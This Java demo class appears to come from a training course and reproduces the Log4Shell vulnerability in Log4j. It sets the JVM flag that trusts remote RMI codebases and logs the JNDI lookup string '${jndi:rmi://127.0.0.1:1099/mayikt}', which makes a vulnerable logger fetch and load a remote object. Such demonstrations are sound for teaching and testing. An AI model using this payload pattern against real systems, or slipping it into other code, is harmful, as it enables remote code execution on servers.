package com.mayikt;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author 余胜军
 * @ClassName Demo01
 * @qq 644064779
 * @addres www.mayikt.com
 * v:yushengjun644
 */
public class Demo01 {
    private static final Logger logger = LogManager.getLogger(Demo01.class);

    public static void main(String[] args) {
        /**
         * log4j 输出 不能够执行 jndi rmi服务
         */
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String name = "${jndi:rmi://127.0.0.1:1099/mayikt}";
        // 使用logger 输出日志
        logger.info(name);
    }
}
